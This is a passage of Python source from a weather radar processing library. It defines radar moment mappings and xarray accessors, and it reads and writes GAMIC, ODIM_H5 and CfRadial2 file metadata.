\"unitless\",\n        \"gamic\": None,\n    },\n    \"SNRV\": {\n        \"standard_name\": \"signal_noise_ratio_v\",\n        \"long_name\": \"Signal Noise Ratio V\",\n        \"short_name\": \"SNRV\",\n        \"units\": \"unitless\",\n        \"gamic\": None,\n    },\n    \"SQIH\": {\n        \"standard_name\": \"signal_quality_index_h\",\n        \"long_name\": \"Signal Quality H\",\n        \"short_name\": \"SQIH\",\n        \"units\": \"unitless\",\n        \"gamic\": None,\n    },\n    \"SQIV\": {\n        \"standard_name\": \"signal_quality_index_v\",\n        \"long_name\": \"Signal Quality V\",\n        \"short_name\": \"SQIV\",\n        \"units\": \"unitless\",\n        \"gamic\": None,\n    },\n    \"CCORH\": {\n        \"standard_name\": \"clutter_correction_h\",\n        \"long_name\": \"Clutter Correction H\",\n        \"short_name\": \"CCORH\",\n        \"units\": \"unitless\",\n        \"gamic\": None,\n    },\n    \"CCORV\": {\n        \"standard_name\": \"clutter_correction_v\",\n        \"long_name\": \"Clutter Correction V\",\n        \"short_name\": \"CCORV\",\n        \"units\": \"unitless\",\n        \"gamic\": None,\n    },\n    \"CMAP\": {\n        \"standard_name\": \"clutter_map\",\n        \"long_name\": \"Clutter Map\",\n        \"short_name\": \"CMAP\",\n        \"units\": \"unitless\",\n        \"gamic\": [\"cmap\"],\n    },\n}\n\nODIM_NAMES = {value[\"short_name\"]: key for (key, value) in moments_mapping.items()}\n\nGAMIC_NAMES = {\n    v: key\n    for (key, value) in moments_mapping.items()\n    if value[\"gamic\"] is not None\n    for v in value[\"gamic\"]\n}\n\nrange_attrs = {\n    \"units\": \"meters\",\n    \"standard_name\": \"projection_range_coordinate\",\n    \"long_name\": \"range_to_measurement_volume\",\n    \"spacing_is_constant\": \"true\",\n    \"axis\": \"radial_range_coordinate\",\n    \"meters_to_center_of_first_gate\": None,\n}\n\naz_attrs = {\n    \"standard_name\": \"ray_azimuth_angle\",\n    \"long_name\": \"azimuth_angle_from_true_north\",\n    \"units\": \"degrees\",\n    \"axis\": \"radial_azimuth_coordinate\",\n}\n\nel_attrs = {\n    \"standard_name\": \"ray_elevation_angle\",\n    \"long_name\": \"elevation_angle_from_horizontal_plane\",\n    \"units\": \"degrees\",\n    \"axis\": \"radial_elevation_coordinate\",\n}\n\ntime_attrs = {\n    \"standard_name\": \"time\",\n    \"units\": \"seconds since 1970-01-01T00:00:00Z\",\n}\n\nroot_vars = {\n    \"volume_number\",\n    \"platform_type\",\n    \"instrument_type\",\n    \"primary_axis\",\n    \"time_coverage_start\",\n    \"time_coverage_end\",\n    \"latitude\",\n    \"longitude\",\n    \"altitude\",\n    \"fixed_angle\",\n    \"status_xml\",\n}\n\nsweep_vars1 = {\n    \"sweep_number\",\n    \"sweep_mode\",\n    \"polarization_mode\",\n    \"prt_mode\",\n    \"follow_mode\",\n    \"fixed_angle\",\n    \"target_scan_rate\",\n    \"sweep_start_ray_index\",\n    \"sweep_end_ray_index\",\n}\n\nsweep_vars2 = {\n    \"azimuth\",\n    \"elevation\",\n    \"pulse_width\",\n    \"prt\",\n    \"nyquist_velocity\",\n    \"unambiguous_range\",\n    \"antenna_transition\",\n    \"n_samples\",\n    \"r_calib_index\",\n    \"scan_rate\",\n}\n\nsweep_vars3 = {\n    \"DBZH\",\n    \"DBZV\",\n    \"VELH\",\n    \"VELV\",\n    \"DBZ\",\n    \"VR\",\n    \"time\",\n    \"range\",\n    \"reflectivity_horizontal\",\n}\n\ncf_full_vars = {\"prt\": \"prf\", \"n_samples\": \"pulse\"}\n\nglobal_attrs = [\n    (\"Conventions\", \"Cf/Radial\"),\n    (\"version\", \"Cf/Radial version number\"),\n    (\"title\", \"short description of file contents\"),\n    (\"institution\", \"where the original data were produced\"),\n    (\n        \"references\",\n        (\"references that describe the data or the methods used \" \"to produce it\"),\n    ),\n    (\"source\", \"method of production of the original data\"),\n    (\"history\", \"list of modifications to the original data\"),\n    (\"comment\", \"miscellaneous information\"),\n    (\"instrument_name\", \"nameThe  of radar or lidar\"),\n    (\"site_name\", \"name of site where data were gathered\"),\n    (\"scan_name\", \"name of scan strategy used, if applicable\"),\n    (\"scan_id\", \"scan strategy id, if applicable. assumed 0 if missing\"),\n    (\"platform_is_mobile\", '\"true\" or \"false\", assumed \"false\" if missing'),\n    (\n        \"ray_times_increase\",\n        (\n            '\"true\" or \"false\", assumed \"true\" if missing. '\n            \"This is set to true if ray times increase monotonically \"\n            \"thoughout all of the sweeps in the volume\"\n        ),\n    ),\n    (\"field_names\", \"array of strings of field names present in this file.\"),\n    (\"time_coverage_start\", \"copy of time_coverage_start global variable\"),\n    (\"time_coverage_end\", \"copy of time_coverage_end global variable\"),\n    (\n        \"simulated data\",\n        (\n            '\"true\" or \"false\", assumed \"false\" if missing. '\n            \"data in this file are simulated\"\n        ),\n    ),\n]\n\nglobal_variables = dict(\n    [\n        (\"volume_number\", np.int_),\n        (\"platform_type\", \"fixed\"),\n        (\"instrument_type\", \"radar\"),\n        (\"primary_axis\", \"axis_z\"),\n        (\"time_coverage_start\", \"1970-01-01T00:00:00Z\"),\n        (\"time_coverage_end\", \"1970-01-01T00:00:00Z\"),\n        (\"latitude\", np.nan),\n        (\"longitude\", np.nan),\n        (\"altitude\", np.nan),\n        (\"altitude_agl\", np.nan),\n        (\"sweep_group_name\", ([\"sweep\"], [np.nan])),\n        (\"sweep_fixed_angle\", ([\"sweep\"], [np.nan])),\n        (\"frequency\", np.nan),\n        (\"status_xml\", \"None\"),\n    ]\n)\n\n\n@xr.register_dataset_accessor(\"gamic\")\nclass GamicAccessor(object):\n    \"\"\"Dataset Accessor for handling GAMIC HDF5 data files\"\"\"\n\n    def __init__(self, xarray_obj):\n        self._obj = xarray_obj\n        self._radial_range = None\n        self._azimuth_range = None\n        self._elevation_range = None\n        self._time_range = None\n        self._sitecoords = None\n        self._polcoords = None\n        self._projection = None\n        self._time = None\n\n    @property\n    def radial_range(self):\n        \"\"\"Return the radial range of this dataset.\"\"\"\n        if self._radial_range is None:\n            ngates = self._obj.attrs[\"bin_count\"]\n            # range_start = self._obj.attrs['range_start']\n            range_samples = self._obj.attrs[\"range_samples\"]\n            range_step = self._obj.attrs[\"range_step\"]\n            bin_range = range_step * range_samples\n            range_data = np.arange(\n                bin_range / 2.0, bin_range * ngates, bin_range, dtype=\"float32\"\n            )\n            range_attrs[\"meters_to_center_of_first_gate\"] = bin_range / 2.0\n            da = xr.DataArray(range_data, dims=[\"dim_1\"], attrs=range_attrs)\n            self._radial_range = da\n        return self._radial_range\n\n    @property\n    def azimuth_range(self):\n        \"\"\"Return the azimuth range of this dataset.\"\"\"\n        if self._azimuth_range is None:\n            azstart = self._obj[\"azimuth_start\"]\n            azstop = self._obj[\"azimuth_stop\"]\n            zero_index = np.where(azstop < azstart)\n            azstop[zero_index[0]] += 360\n            azimuth = (azstart + azstop) / 2.0\n            azimuth = azimuth.assign_attrs(az_attrs)\n            self._azimuth_range = azimuth\n        return self._azimuth_range\n\n    @property\n    def elevation_range(self):\n        \"\"\"Return the elevation range of this dataset.\"\"\"\n        if self._elevation_range is None:\n            elstart = self._obj[\"elevation_start\"]\n            elstop = self._obj[\"elevation_stop\"]\n            elevation = (elstart + elstop) / 2.0\n            elevation = elevation.assign_attrs(el_attrs)\n            self._elevation_range = elevation\n        return self._elevation_range\n\n    @property\n    def time_range(self):\n        \"\"\"Return the time range of this dataset.\"\"\"\n        if self._time_range is None:\n            times = self._obj[\"timestamp\"] / 1e6\n            attrs = {\n                \"units\": \"seconds since 1970-01-01T00:00:00Z\",\n                \"standard_name\": \"time\",\n            }\n            da = xr.DataArray(times, attrs=attrs)\n            self._time_range = da\n        return self._time_range\n\n\n@xr.register_dataset_accessor(\"odim\")\nclass OdimAccessor(object):\n    \"\"\"Dataset Accessor for handling ODIM_H5 data files\"\"\"\n\n    def __init__(self, xarray_obj):\n        self._obj = xarray_obj\n        self._radial_range = None\n        self._azimuth_range = None\n        self._elevation_range = None\n        self._time_range = None\n        self._time_range2 = None\n        self._prt = None\n        self._n_samples = None\n\n    @property\n    def radial_range(self):\n        \"\"\"Return the radial range of this dataset.\"\"\"\n        if self._radial_range is None:\n            ngates = self._obj.attrs[\"nbins\"]\n            range_start = self._obj.attrs[\"rstart\"] * 1000.0\n            bin_range = self._obj.attrs[\"rscale\"]\n            cent_first = range_start + bin_range / 2.0\n            range_data = np.arange(\n                cent_first, range_start + bin_range * ngates, bin_range, dtype=\"float32\"\n            )\n            range_attrs[\"meters_to_center_of_first_gate\"] = cent_first\n            range_attrs[\"meters_between_gates\"] = bin_range\n\n            da = xr.DataArray(range_data, dims=[\"dim_1\"], attrs=range_attrs)\n            self._radial_range = da\n        return self._radial_range\n\n    @property\n    def azimuth_range2(self):\n        \"\"\"Return the azimuth range of this dataset.\"\"\"\n        if self._azimuth_range is None:\n            nrays = self._obj.attrs[\"nrays\"]\n            res = 360.0 / nrays\n            azimuth_data = np.arange(res / 2.0, 360.0, res, dtype=\"float32\")\n\n            da = xr.DataArray(azimuth_data, dims=[\"dim_0\"], attrs=az_attrs)\n            self._azimuth_range = da\n        return self._azimuth_range\n\n    @property\n    def azimuth_range(self):\n        \"\"\"Return the azimuth range of this dataset.\"\"\"\n        if self._azimuth_range is None:\n            startaz = self._obj.attrs[\"startazA\"]\n            stopaz = self._obj.attrs[\"stopazA\"]\n            zero_index = np.where(stopaz < startaz)\n            stopaz[zero_index[0]] += 360\n            azimuth_data = (startaz + stopaz) / 2.0\n            da = xr.DataArray(azimuth_data, attrs=az_attrs)\n            self._azimuth_range = da\n        return self._azimuth_range\n\n    @property\n    def elevation_range2(self):\n        \"\"\"Return the elevation range of this dataset.\"\"\"\n        if self._elevation_range is None:\n            nrays = self._obj.attrs[\"nrays\"]\n            elangle = self._obj.attrs[\"elangle\"]\n            elevation_data = np.ones(nrays, dtype=\"float32\") * elangle\n            da = xr.DataArray(elevation_data, dims=[\"dim_0\"], attrs=el_attrs)\n            self._elevation_range = da\n        return self._elevation_range\n\n    @property\n    def elevation_range(self):\n        \"\"\"Return the elevation range of this dataset.\"\"\"\n        if self._elevation_range is None:\n            startel = self._obj.attrs[\"startelA\"]\n            stopel = self._obj.attrs[\"stopelA\"]\n            elevation_data = (startel + stopel) / 2.0\n            da = xr.DataArray(elevation_data, dims=[\"dim_0\"], attrs=el_attrs)\n            self._elevation_range = da\n        return self._elevation_range\n\n    @property\n    def time_range(self):\n        \"\"\"Return the time range of this dataset.\"\"\"\n        if self._time_range is None:\n            startT = self._obj.attrs[\"startazT\"]\n            stopT = self._obj.attrs[\"stopazT\"]\n            times = (startT + stopT) / 2.0\n            self._time_range = times\n\n        return self._time_range\n\n    @property\n    def time_range2(self):\n        \"\"\"Return the time range of this dataset.\"\"\"\n        if self._time_range2 is None:\n            startdate = self._obj.attrs[\"startdate\"]\n            starttime = self._obj.attrs[\"starttime\"]\n            enddate = self._obj.attrs[\"enddate\"]\n            endtime = self._obj.attrs[\"endtime\"]\n\n            start = dt.datetime.strptime(startdate + starttime, \"%Y%m%d%H%M%S\")\n            end = dt.datetime.strptime(enddate + endtime, \"%Y%m%d%H%M%S\")\n            start = start.replace(tzinfo=dt.timezone.utc)\n            end = end.replace(tzinfo=dt.timezone.utc)\n\n            self._time_range2 = (start.timestamp(), end.timestamp())\n        return self._time_range2\n\n    @property\n    def prt(self):\n        if self._prt is None:\n            try:\n                prt = 1.0 / self._obj.attrs[\"prf\"]\n                da = xr.DataArray(prt, dims=[\"dim_0\"])\n                self._prt = da\n            except KeyError:\n                pass\n        return self._prt\n\n    @property\n    def n_samples(self):\n        if self._n_samples is None:\n            try:\n                da = xr.DataArray(self._obj.attrs[\"pulse\"], dims=[\"dim_0\"])\n                self._n_samples = da\n            except KeyError:\n                pass\n        return self._n_samples\n\n\ndef to_cfradial2(volume, filename, timestep=None):\n    \"\"\"Save RadarVolume/XRadVol/XRadVolume to CfRadial2.0 compliant file.\n\n    Parameters\n    ----------\n    volume : RadarVolume/XRadVol/XRadVolume object\n    filename : str\n        output filename\n    timestep : int\n        timestep of wanted volume\n    \"\"\"\n    volume.root.load()\n    root = volume.root.copy(deep=True)\n    root.attrs[\"Conventions\"] = \"Cf/Radial\"\n    root.attrs[\"version\"] = \"2.0\"\n    root.to_netcdf(filename, mode=\"w\", group=\"/\")\n    for idx, key in enumerate(root.sweep_group_name.values):\n        if isinstance(volume, (OdimH5, CfRadial)):\n            swp = volume[key]\n        elif isinstance(volume, XRadVolume):\n            swp = volume[idx][timestep].data\n        else:\n            ds = volume[idx]\n            if \"time\" not in ds.dims:\n                ds = ds.expand_dims(\"time\")\n            swp = ds.isel(time=timestep)\n        swp.load()\n        dims = list(swp.dims)\n        dims.remove(\"range\")\n        dim0 = dims[0]\n        try:\n            swp = swp.swap_dims({dim0: \"time\"})\n        except ValueError:\n            swp = swp.drop_vars(\"time\").rename({\"rtime\": \"time\"})\n            swp = swp.swap_dims({dim0: \"time\"})\n        swp = swp.drop_vars([\"x\", \"y\", \"z\", \"gr\", \"rays\", \"bins\"], errors=\"ignore\")\n        swp = swp.sortby(\"time\")\n        swp.to_netcdf(filename, mode=\"a\", group=key)\n\n\ndef to_netcdf(volume, filename, timestep=None, keys=None):\n    \"\"\"Save RadarVolume/XRadVolume to netcdf compliant file.\n\n    Parameters\n    ----------\n    volume : RadarVolume/XRadVolume object\n    filename : str\n        output filename\n    timestep : int, slice\n        timestep/slice of wanted volume\n    keys : list\n        list of sweep_group_names which should be written to the file\n    \"\"\"\n    volume.root.load()\n    root = volume.root.copy(deep=True)\n    root.attrs[\"Conventions\"] = \"Cf/Radial\"\n    root.attrs[\"version\"] = \"2.0\"\n    root.to_netcdf(filename, mode=\"w\", group=\"/\")\n    if keys is None:\n        keys = root.sweep_group_name.values\n    for idx, key in enumerate(root.sweep_group_name.values):\n        if key in keys:\n            try:\n                swp = volume[idx].data.isel(time=timestep)\n            except AttributeError:\n                ds = volume[idx]\n                if \"time\" not in ds.dims:\n                    ds = ds.expand_dims(\"time\")\n                swp = ds.isel(time=timestep)\n            swp.to_netcdf(filename, mode=\"a\", group=key)\n\n\ndef to_odim(volume, filename, timestep=0):\n    \"\"\"Save RadarVolume/XRadVol/XRadVolume to ODIM_H5/V2_2 compliant file.\n\n    Parameters\n    ----------\n    volume : RadarVolume/XRadVol/XRadVolume object\n    filename : str\n        output filename\n    timestep : int\n        timestep of wanted volume\n    \"\"\"\n    root = volume.root\n\n    h5 = h5py.File(filename, \"w\")\n\n    # root group, only Conventions for ODIM_H5\n    _write_odim({\"Conventions\": \"ODIM_H5/V2_2\"}, h5)\n\n    # how group\n    how = {}\n    how.update({\"_modification_program\": \"wradlib\"})\n\n    h5_how = h5.create_group(\"how\")\n    _write_odim(how, h5_how)\n\n    sweepnames = root.sweep_group_name.values\n\n    # what group, object, version, date, time, source, mandatory\n    # p. 10 f\n    what = {}\n    if len(sweepnames) > 1:\n        what[\"object\"] = \"PVOL\"\n    else:\n        what[\"object\"] = \"SCAN\"\n    what[\"version\"] = \"H5rad 2.2\"\n    what[\"date\"] = str(root.time_coverage_start.values)[:10].replace(\"-\", \"\")\n    what[\"time\"] = str(root.time_coverage_end.values)[11:19].replace(\":\", \"\")\n    what[\"source\"] = root.attrs[\"instrument_name\"]\n\n    h5_what = h5.create_group(\"what\")\n    _write_odim(what, h5_what)\n\n    # where group, lon, lat, height, mandatory\n    where = {\n        \"lon\": root.longitude.values,\n        \"lat\": root.latitude.values,\n        \"height\": root.altitude.values,\n    }\n    h5_where = h5.create_group(\"where\")\n    _write_odim(where, h5_where)\n\n    # datasets\n    ds_list = [\"dataset{}\".format(i + 1) for i in range(len(sweepnames))]\n    ds_idx = np.argsort(ds_list)\n    for idx in ds_idx:\n        if isinstance(volume, (OdimH5, CfRadial)):\n            ds = volume[\"sweep_{}\".format(idx + 1)]\n        elif isinstance(volume, XRadVolume):\n            ds = volume[idx][timestep].data\n            ds = ds.drop_vars(\"time\", errors=\"ignore\").rename({\"rtime\": \"time\"})\n        else:\n            ds = volume[idx]\n            if \"time\" not in ds.dims:\n                ds = ds.expand_dims(\"time\")\n            ds = ds.isel(time=timestep, drop=True)\n            ds = ds.drop_vars(\"time\", errors=\"ignore\").rename({\"rtime\": \"time\"})\n        h5_dataset = h5.create_group(ds_list[idx])\n\n        # what group p. 21 ff.\n        h5_ds_what = h5_dataset.create_group(\"what\")\n        ds_what = {}\n        # skip NaT values\n        valid_times = ~np.isnat(ds.time.values)\n        t = sorted(ds.time.values[valid_times])\n        start = dt.datetime.utcfromtimestamp(np.rint(t[0].astype(\"O\") / 1e9))\n        end = dt.datetime.utcfromtimestamp(np.rint(t[-1].astype(\"O\") / 1e9))\n        ds_what[\"product\"] = \"SCAN\"\n        ds_what[\"startdate\"] = start.strftime(\"%Y%m%d\")\n        ds_what[\"starttime\"] = start.strftime(\"%H%M%S\")\n        ds_what[\"enddate\"] = end.strftime(\"%Y%m%d\")\n        ds_what[\"endtime\"] = end.strftime(\"%H%M%S\")\n        _write_odim(ds_what, h5_ds_what)\n\n        # where group, p. 11 ff. mandatory\n        h5_ds_where = h5_dataset.create_group(\"where\")\n        rscale = ds.range.values[1] / 1.0 - ds.range.values[0]\n        rstart = (ds.range.values[0] - rscale / 2.0) / 1000.0\n        # todo: make this work for RHI's\n        a1gate = np.argsort(ds.sortby(\"azimuth\").time.values)[0]\n        try:\n            fixed_angle = ds.fixed_angle\n        except AttributeError:\n            fixed_angle = ds.elevation.round(decimals=1).median().values\n        ds_where = {\n            \"elangle\": fixed_angle,\n            \"nbins\": ds.range.shape[0],\n            \"rstart\": rstart,\n            \"rscale\": rscale,\n            \"nrays\": ds.azimuth.shape[0],\n            \"a1gate\": a1gate,\n        }\n        _write_odim(ds_where, h5_ds_where)\n\n        # how group, p. 14 ff.\n        h5_ds_how = h5_dataset.create_group(\"how\")\n        tout = [tx.astype(\"O\") / 1e9 for tx in ds.sortby(\"azimuth\").time.values]\n        tout_sorted = sorted(tout)\n\n        # handle non-uniform times (eg. only second-resolution)\n        if np.count_nonzero(np.diff(tout_sorted)) < (len(tout_sorted) - 1):\n            tout = np.roll(\n                np.linspace(tout_sorted[0], tout_sorted[-1], len(tout)), a1gate\n            )\n            tout_sorted = sorted(tout)\n\n        difft = np.diff(tout_sorted) / 2.0\n        difft = np.insert(difft, 0, difft[0])\n        azout = ds.sortby(\"azimuth\").azimuth\n        diffa = np.diff(azout) / 2.0\n        diffa = np.insert(diffa, 0, diffa[0])\n        elout = ds.sortby(\"azimuth\").elevation\n        diffe = np.diff(elout) / 2.0\n        diffe = np.insert(diffe, 0, diffe[0])\n        try:\n            sweep_number = ds.sweep_number + 1\n        except AttributeError:\n            sweep_number = timestep\n        ds_how = {\n            \"scan_index\": sweep_number,\n            \"scan_count\": len(sweepnames),\n            \"startazT\": tout - difft,\n            \"stopazT\": tout + difft,\n            \"startazA\": azout - diffa,\n            \"stopazA\": azout + diffa,\n            \"startelA\": elout - diffe,\n            \"stopelA\": elout + diffe,\n        }\n        _write_odim(ds_how, h5_ds_how)\n\n        # write moments\n        _write_odim_dataspace(ds, h5_dataset)\n\n    h5.close()\n\n\nclass _OdimH5NetCDFMetadata(object):\n    \"\"\"Wrapper around OdimH5 data fileobj for easy access of metadata.\n\n    Parameters\n    ----------\n    fileobj : file-like\n        h5netcdf filehandle.\n    group : str\n        odim group to acquire\n\n    Returns\n    -------\n    object : metadata object\n    \"\"\"\n\n    def __init__(self, fileobj, group):\n        self._root = fileobj\n        self._group = group\n\n    @property\n    def first_dim(self):\n        dim, _ = self._get_fixed_dim_and_angle()\n        return dim\n\n    def get_variable_dimensions(self, dims):\n        dimensions = []\n        for n, _ in enumerate(dims):\n            if n == 0:\n                dimensions.append(self.first_dim)\n            elif n == 1:\n                dimensions.append(\"range\")\n            else:\n                pass\n        return tuple(dimensions)\n\n    @property\n    def coordinates(self):\n        azimuth = self.azimuth\n        elevation = self.elevation\n        a1gate = self.a1gate\n        rtime = self.ray_times\n        dim, angle = self.fixed_dim_and_angle\n        angle_res = np.round(np.nanmedian(np.diff(locals()[dim])), decimals=2)\n\n        dims = (\"azimuth\", \"elevation\")\n        if dim == dims[1]:\n            dims = (dims[1], dims[0])\n\n        az_attrs[\"a1gate\"] = a1gate\n\n        if dim == \"azimuth\":\n            az_attrs[\"angle_res\"] = angle_res\n        else:\n            el_attrs[\"angle_res\"] = angle_res\n\n        sweep_mode = \"azimuth_surveillance\" if dim == \"azimuth\" else \"rhi\"\n\n        rtime_attrs = {\n            \"units\": \"seconds since 1970-01-01T00:00:00Z\",\n            \"standard_name\": \"time\",\n        }\n\n        range_data, cent_first, bin_range = self.range\n        range_attrs[\"meters_to_center_of_first_gate\"] = cent_first\n        range_attrs[\"meters_between_gates\"] = bin_range\n\n        lon_attrs = dict(\n            long_name=\"longitude\", units=\"degrees_east\", standard_name=\"longitude\"\n        )\n        lat_attrs = dict(\n            long_name=\"latitude\",\n            units=\"degrees_north\",\n            positive=\"up\",\n            standard_name=\"latitude\",\n        )\n        alt_attrs = dict(long_name=\"altitude\", units=\"meters\", standard_name=\"altitude\")\n\n        lon, lat, alt = self.site_coords\n\n        coordinates = dict(\n            azimuth=Variable((dims[0],), azimuth, az_attrs),\n            elevation=Variable((dims[0],), elevation, el_attrs),\n            rtime=Variable((dims[0],), rtime, rtime_attrs),\n            range=Variable((\"range\",), range_data, range_attrs),\n            time=Variable((), self.time, time_attrs),\n            sweep_mode=Variable((), sweep_mode),\n            longitude=Variable((), lon, lon_attrs),\n            latitude=Variable((), lat, lat_attrs),\n            altitude=Variable((), alt, alt_attrs),\n        )\n        return coordinates\n\n    @property\n    def site_coords(self):\n        return self._get_site_coords()\n\n    @property\n    def time(self):\n        return self._get_time()\n\n    @property\n    def fixed_dim_and_angle(self):\n        return self._get_fixed_dim_and_angle()\n\n    @property\n    def range(self):\n        return self._get_range()\n\n    @property\n    def what(self):\n        return self._get_dset_what()\n\n    def _get_azimuth_how(self):\n        grp = self._group.split(\"/\")[0]\n        startaz = self._root[grp][\"how\"].attrs[\"startazA\"]\n        stopaz = self._root[grp][\"how\"].attrs[\"stopazA\"]\n        zero_index = np.where(stopaz < startaz)\n        stopaz[zero_index[0]] += 360\n        azimuth_data = (startaz + stopaz) / 2.0\n        return azimuth_data\n\n    def _get_azimuth_where(self):\n        grp = self._group.split(\"/\")[0]\n        nrays = self._root[grp][\"where\"].attrs[\"nrays\"]\n        res = 360.0 / nrays\n        azimuth_data = np.arange(res / 2.0, 360.0, res, dtype=\"float32\")\n        return azimuth_data\n\n    def _get_fixed_dim_and_angle(self):\n        grp = self._group.split(\"/\")[0]\n        dim = \"elevation\"\n\n        # try RHI first\n        angle_keys = [\"az_angle\", \"azangle\"]\n        angle = None\n        for ak in angle_keys:\n            angle = self._root[grp][\"where\"].attrs.get(ak, None)\n            if angle is not None:\n                break\n        if angle is None:\n            dim = \"azimuth\"\n            angle = self._root[grp][\"where\"].attrs[\"elangle\"]\n\n        angle = np.round(angle, decimals=1)\n        return dim, angle\n\n    def _get_elevation_how(self):\n        grp = self._group.split(\"/\")[0]\n        startaz = self._root[grp][\"how\"].attrs[\"startelA\"]\n        stopaz = self._root[grp][\"how\"].attrs[\"stopelA\"]\n        elevation_data = (startaz + stopaz) / 2.0\n        return elevation_data\n\n    def _get_elevation_where(self):\n        grp = self._group.split(\"/\")[0]\n        nrays = self._root[grp][\"where\"].attrs[\"nrays\"]\n        elangle = self._root[grp][\"where\"].attrs[\"elangle\"]\n        elevation_data = np.ones(nrays, dtype=\"float32\") * elangle\n        return elevation_data\n\n    def _get_time_how(self):\n        grp = self._group.split(\"/\")[0]\n        startT = self._root[grp][\"how\"].attrs[\"startazT\"]\n        stopT = self._root[grp][\"how\"].attrs[\"stopazT\"]\n        time_data = (startT + stopT) / 2.0\n        return time_data\n\n    def _get_time_what(self, nrays=None):\n        grp = self._group.split(\"/\")[0]\n        what = self._root[grp][\"what\"].attrs\n        startdate = what[\"startdate\"].item().decode()\n        starttime = what[\"starttime\"].item().decode()\n        enddate = what[\"enddate\"].item().decode()\n        endtime = what[\"endtime\"].item().decode()\n        start = dt.datetime.strptime(startdate + starttime, \"%Y%m%d%H%M%S\")\n        end = dt.datetime.strptime(enddate + endtime, \"%Y%m%d%H%M%S\")\n        start = start.replace(tzinfo=dt.timezone.utc).timestamp()\n        end = end.replace(tzinfo=dt.timezone.utc).timestamp()\n        if nrays is None:\n            nrays = self._root[grp][\"where\"].attrs[\"nrays\"]\n        if start == end:\n            import warnings\n\n            warnings.warn(\n                \"WRADLIB: Equal ODIM `starttime` and `endtime` \"\n                \"values. Can't determine correct sweep start-, \"\n                \"end- and raytimes.\",\n                UserWarning,\n            )\n\n            time_data = np.ones(nrays) * start\n        else:\n            delta = (end - start) / nrays\n            time_data = np.arange(start + delta / 2.0, end, delta)\n            time_data = np.roll(time_data, shift=+self.a1gate)\n        return time_data\n\n    def _get_ray_times(self, nrays=None):\n        try:\n            time_data = self._get_time_how()\n            self._need_time_recalc = False\n        except (AttributeError, KeyError, TypeError):\n            time_data = self._get_time_what(nrays=nrays)\n            self._need_time_recalc = True\n        return time_data\n\n    def _get_range(self):\n        grp = self._group.split(\"/\")[0]\n        where = self._root[grp][\"where\"].attrs\n        ngates = where[\"nbins\"]\n        range_start = where[\"rstart\"] * 1000.0\n        bin_range = where[\"rscale\"]\n        cent_first = range_start + bin_range / 2.0\n        range_data = np.arange(\n            cent_first, range_start + bin_range * ngates, bin_range, dtype=\"float32\"\n        )\n        return range_data, cent_first, bin_range\n\n    def _get_time(self, point=\"start\"):\n        grp = self._group.split(\"/\")[0]\n        what = self._root[grp][\"what\"].attrs\n        startdate = what[f\"{point}date\"].item().decode()\n        starttime = what[f\"{point}time\"].item().decode()\n        start = dt.datetime.strptime(startdate + starttime, \"%Y%m%d%H%M%S\")\n        start = start.replace(tzinfo=dt.timezone.utc).timestamp()\n        return start\n\n    def _get_a1gate(self):\n        grp = self._group.split(\"/\")[0]\n        a1gate = self._root[grp][\"where\"].attrs[\"a1gate\"]\n        return a1gate\n\n    def _get_site_coords(self):\n        lon = self._root[\"where\"].attrs[\"lon\"].item()\n        lat = self._root[\"where\"].attrs[\"lat\"].item()\n        alt = self._root[\"where\"].attrs[\"height\"].item()\n        return lon, lat, alt\n\n    def _get_dset_what(self):\n        attrs = {}\n        what = self._root[self._group][\"what\"].attrs\n        attrs[\"scale_factor\"] = what[\"gain\"]\n        attrs[\"add_offset\"] = what[\"offset\"]\n        attrs[\"_FillValue\"] = what[\"nodata\"]\n        attrs[\"_Undetect\"] = what[\"undetect\"]\n        attrs[\"quantity\"] = what[\"quantity\"].item().decode()\n        return attrs\n\n    @property\n    def a1gate(self):\n        return self._get_a1gate()\n\n    @property\n    def azimuth(self):\n        try:\n            azimuth = self._get_azimuth_how()\n        except (AttributeError, KeyError, TypeError):\n            azimuth = self._get_azimuth_where()\n        return azimuth\n\n    @property\n    def elevation(self):\n        try:\n            elevation = self._get_elevation_how()\n        except (AttributeError, KeyError, TypeError):\n            elevation = self._get_elevation_where()\n        return elevation\n\n    @property\n    def ray_times(self):\n        return self._get_ray_times()\n\n\nclass _GamicH5NetCDFMetadata(object):\n    \"\"\"Wrapper around OdimH5 data fileobj for easy access of metadata.\n\n    Parameters\n    ----------\n    fileobj : file-like\n        h5netcdf filehandle.\n    group : str\n        odim group to acquire\n\n    Returns\n    -------\n    object : metadata object\n    \"\"\"\n\n    def __init__(self, fileobj, group):\n        self._root = fileobj\n        self._group = group\n\n    @property\n    def first_dim(self):\n        dim, _ = self._get_fixed_dim_and_angle()\n        return dim\n\n    def get_variable_dimensions(self, dims):\n        dimensions = []\n        for n, _ in enumerate(dims):\n            if n == 0:\n                dimensions.append(self.first_dim)\n            elif n == 1:\n                dimensions.append(\"range\")\n            else:\n                pass\n        return tuple(dimensions)\n\n    def coordinates(self, dimensions, data, encoding):\n\n        ray_header = _get_ray_header_data(dimensions, data, encoding)\n        dim, angle = self.fixed_dim_and_angle\n        angles = ray_header[dim]\n\n        angle_res = np.round(np.nanmedian(np.diff(angles)), decimals=1)\n        dims = (\"azimuth\", \"elevation\")\n        if dim == dims[1]:\n            dims = (dims[1], dims[0])\n\n        sort_idx = np.argsort(angles)\n        a1gate = np.argsort(ray_header[\"rtime\"][sort_idx])[0]\n\n        az_attrs[\"a1gate\"] = a1gate\n\n        if dim == \"azimuth\":\n            az_attrs[\"angle_res\"] = angle_res\n        else:\n            el_attrs[\"angle_res\"] = angle_res\n\n        sweep_mode = \"azimuth_surveillance\" if dim == \"azimuth\" else \"rhi\"\n\n        rtime_attrs = {\n            \"units\": \"seconds since 1970-01-01T00:00:00Z\",\n            \"standard_name\": \"time\",\n        }\n\n        range_data, cent_first, bin_range = self.range\n        range_attrs[\"meters_to_center_of_first_gate\"] = cent_first\n        range_attrs[\"meters_between_gates\"] = bin_range\n\n        lon_attrs = dict(\n            long_name=\"longitude\", units=\"degrees_east\", standard_name=\"longitude\"\n        )\n        lat_attrs = dict(\n            long_name=\"latitude\",\n            units=\"degrees_north\",\n            positive=\"up\",\n            standard_name=\"latitude\",\n        )\n        alt_attrs = dict(long_name=\"altitude\", units=\"meters\", standard_name=\"altitude\")\n\n        lon, lat, alt = self.site_coords\n\n        coordinates = dict(\n            azimuth=Variable((dims[0],), ray_header[\"azimuth\"], az_attrs),\n            elevation=Variable((dims[0],), ray_header[\"elevation\"], el_attrs),\n            rtime=Variable((dims[0],), ray_header[\"rtime\"], rtime_attrs),\n            range=Variable((\"range\",), range_data, range_attrs),\n            time=Variable((), self.time, time_attrs),\n            sweep_mode=Variable((), sweep_mode),\n            longitude=Variable((), lon, lon_attrs),\n            latitude=Variable((), 